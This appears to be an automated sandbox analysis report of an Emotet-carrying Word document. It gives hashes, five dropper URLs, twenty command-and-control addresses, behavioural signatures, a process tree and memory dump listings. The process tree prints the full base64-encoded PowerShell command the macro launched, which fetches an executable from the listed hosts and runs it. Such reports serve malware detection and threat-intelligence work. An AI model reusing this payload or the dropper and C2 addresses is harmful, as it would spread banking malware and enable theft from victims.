Overview

overview

10

Static

static

8

OPF_080120...20.doc

windows7_x64

10

OPF_080120...20.doc

windows10_x64

1

Analysis

  • max time kernel
    152s
  • max time network
    112s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    07/08/2020, 10:18

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General

  • Target
    OPF_080120_HUC_080720.doc
  • Size 165KB
  • Sample200807-8eazvsprta
  • SHA256 b5c9b45ccc9086ad11f0cd352ec98defa5b69a014eb4c371db8799808871a91c
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://www.novelideas.com/editor/x_fr6_s15/
  • exe.dropper

    https://nationalboilermaking.com.au/verimages/2_hnrh_z6b/
  • exe.dropper

    http://norahkhi.com/cgi-bin/3_69_x/
  • exe.dropper

    http://nightowlmusic.net/news=year/8s9a4_rd_bgq/
  • exe.dropper

    http://nsb.org.uk/plesk-stat/auai_ow6_n1w7n7/

Extracted

Family

  • emotet

C2

  • 47.146.32.175:80

  • 212.51.142.238:8080

  • 200.55.243.138:8080

  • 114.146.222.200:80

  • 153.126.210.205:7080

  • 121.124.124.40:7080

  • 222.214.218.37:4143

  • 67.241.24.163:8080

  • 180.92.239.110:8080

  • 203.153.216.189:7080

  • 119.198.40.179:80

  • 70.167.215.250:8080

  • 168.235.67.138:7080

  • 190.55.181.54:443

  • 139.59.60.244:8080

  • 189.212.199.126:443

  • 78.24.219.147:8080

  • 61.19.246.238:443

  • 137.59.187.107:8080

  • 87.106.139.101:8080

rsa_pubkey.plain

Signatures

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Executes dropped EXE 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\OPF_080120_HUC_080720.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1408
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABLAEcAVABUAEIAYQBkAGcAPQAnAFUAWABTAFEAQQByAHUAbwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAYwBgAFUAYABSAGkAVAB5AFAAUgBgAE8AVABvAGMAbwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQARwBOAEYATQBHAHUAeABhACAAPQAgACcAOQA0ADAAJwA7ACQARABVAEQARABPAG4AbgBsAD0AJwBTAEkAQQBHAEkAdgB2AG4AJwA7ACQAUABMAEEAUwBTAGwAZAB2AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABHAE4ARgBNAEcAdQB4AGEAKwAnAC4AZQB4AGUAJwA7ACQAVgBLAEEAUABMAGQAagB4AD0AJwBRAE4ATwBTAFMAdgBiAHcAJwA7ACQAQQBBAFYARwBNAGsAZABrAD0ALgAoACcAbgBlAHcAJwArACcALQBvACcAKwAnAGIAagBlAGMAdAAnACkAIABOAGUAdAAuAFcARQBCAEMATABpAGUAbgB0ADsAJABXAE4AUABIAEoAZQB1AHoAPQAnAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBuAG8AdgBlAGwAaQBkAGUAYQBzAC4AYwBvAG0ALwBlAGQAaQB0AG8AcgAvAHgAXwBmAHIANgBfAHMAMQA1AC8AKgBoAHQAdABwAHMAOgAvAC8AbgBhAHQAaQBvAG4AYQBsAGIAbwBpAGwAZQByAG0AYQBrAGkAbgBnAC4AYwBvAG0ALgBhAHUALwB2AGUAcgBpAG0AYQBnAGUAcwAvADIAXwBoAG4AcgBoAF8AegA2AGIALwAqAGgAdAB0AHAAOgAvAC8AbgBvAHIAYQBoAGsAaABpAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AMwBfADYAOQBfAHgALwAqAGgAdAB0AHAAOgAvAC8AbgBpAGcAaAB0AG8AdwBsAG0AdQBzAGkAYwAuAG4AZQB0AC8AbgBlAHcAcwA9AHkAZQBhAHIALwA4AHMAOQBhADQAXwByAGQAXwBiAGcAcQAvACoAaAB0AHQAcAA6AC8ALwBuAHMAYgAuAG8AcgBnAC4AdQBrAC8AcABsAGUAcwBrAC0AcwB0AGEAdAAvAGEAdQBhAGkAXwBvAHcANgBfAG4AMQB3ADcAbgA3AC8AJwAuACIAcwBgAFAAbABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABIAEQARQBGAE4AbwBnAG8APQAnAFUAUgBKAFUARgBkAHcAcwAnADsAZgBvAHIAZQBhAGMAaAAoACQARQBPAFUARABJAGYAZgB1ACAAaQBuACAAJABXAE4AUABIAEoAZQB1AHoAKQB7AHQAcgB5AHsAJABBAEEAVgBHAE0AawBkAGsALgAiAEQAYABvAFcAbgBgAEwATwBBAGQARgBpAEwARQAiACgAJABFAE8AVQBEAEkAZgBmAHUALAAgACQAUABMAEEAUwBTAGwAZAB2ACkAOwAkAFYATwBKAEEAVAByAG8AeAA9ACcASQBBAFEARQBFAG0AaABuACcAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQAUABMAEEAUwBTAGwAZAB2ACkALgAiAEwAZQBgAE4AZwBgAFQAaAAiACAALQBnAGUAIAAyADcANQA1ADEAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAGMAcgBgAEUAYABBAFQARQAiACgAJABQAEwAQQBTAFMAbABkAHYAKQA7ACQAUABXAEwASQBXAGQAbwBnAD0AJwBWAEgASwBWAFoAaABmAGgAJwA7AGIAcgBlAGEAawA7ACQARwBKAE4AUgBRAHEAeQBvAD0AJwBQAE0AVwBOAFIAdQBkAGQAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASwBGAE0AWABFAGsAeQBjAD0AJwBZAEUAUgBXAFkAZQBjAGgAJwA=
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    PID:1780
  • C:\Users\Admin\940.exe
    C:\Users\Admin\940.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    • Suspicious use of SetWindowsHookEx
    • Drops file in System32 directory
    PID:1744
    • C:\Windows\SysWOW64\ir32_32\rasdlg.exe
      "C:\Windows\SysWOW64\ir32_32\rasdlg.exe"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      PID:1568

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/1408-7-0x0000000006F40000-0x0000000007140000-memory.dmp
        Download

        memory/1408-5-0x000000000AF90000-0x000000000AF94000-memory.dmp
        Download

        memory/1408-6-0x000000000C010000-0x000000000C014000-memory.dmp
        Download

        memory/1408-4-0x0000000006F40000-0x0000000007140000-memory.dmp
        Download

        memory/1408-8-0x0000000006F40000-0x0000000007140000-memory.dmp
        Download

        memory/1408-9-0x0000000006F40000-0x0000000007140000-memory.dmp
        Download

        memory/1408-0-0x0000000006D60000-0x0000000006E60000-memory.dmp
        Download

        memory/1408-3-0x0000000006F40000-0x0000000007140000-memory.dmp
        Download

        memory/1408-2-0x0000000008B10000-0x0000000008B14000-memory.dmp
        Download

        memory/1568-22-0x0000000000610000-0x000000000061C000-memory.dmp
        Download

        memory/1744-18-0x0000000000510000-0x000000000051C000-memory.dmp
        Download

        memory/1780-11-0x0000000001EA0000-0x0000000001EA1000-memory.dmp
        Download

        memory/1780-16-0x000000001C530000-0x000000001C531000-memory.dmp
        Download

        memory/1780-15-0x000000001C290000-0x000000001C291000-memory.dmp
        Download

        memory/1780-14-0x0000000002320000-0x0000000002321000-memory.dmp
        Download

        memory/1780-13-0x00000000023D0000-0x00000000023D1000-memory.dmp
        Download

        memory/1780-12-0x000000001AB50000-0x000000001AB51000-memory.dmp
        Download

        memory/1780-10-0x000007FEEA060000-0x000007FEEAA4C000-memory.dmp
        Download

        memory/1972-23-0x000007FEE5C80000-0x000007FEE5EFA000-memory.dmp
        Download